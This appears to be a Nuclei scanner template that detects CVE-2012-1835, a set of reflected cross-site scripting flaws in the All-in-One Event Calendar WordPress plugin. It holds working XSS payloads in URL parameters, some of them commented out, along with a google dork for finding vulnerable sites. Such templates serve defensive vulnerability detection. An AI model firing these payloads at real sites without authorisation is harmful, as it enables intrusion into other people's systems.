WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting

id: CVE-2012-1835

info:
  name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the All-in-One Event Calendar plugin to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1835
    - https://www.htbridge.com/advisory/HTB23082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-1835
    cwe-id: CWE-79
    epss-score: 0.01124
    epss-percentile: 0.84313
    cpe: cpe:2.3:a:timely:all-in-one_event_calendar:1.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: timely
    product: all-in-one_event_calendar
    google-query: inurl:"/wp-content/plugins/all-in-one-event-calendar"
  tags: cve,cve2012,wordpress,xss,wp-plugin,timely

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/all-in-one-event-calendar/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'All-in-One Event Calendar'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php?title[id]=%22%3E%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?args[before_widget]=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&before_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'
      #  - '{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=1&after_title=%3Cscript%3Ealert%28123%29;%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d0f21929860f7600e354f9be260a27aec7c3f220a6a630a898f7b803336b457902207f97220ddfd8ae7478400d9edce3f4d7acf3ae2560c73bd9a51481eb4b746d93:922c64590222798bb761d5b6d8e72950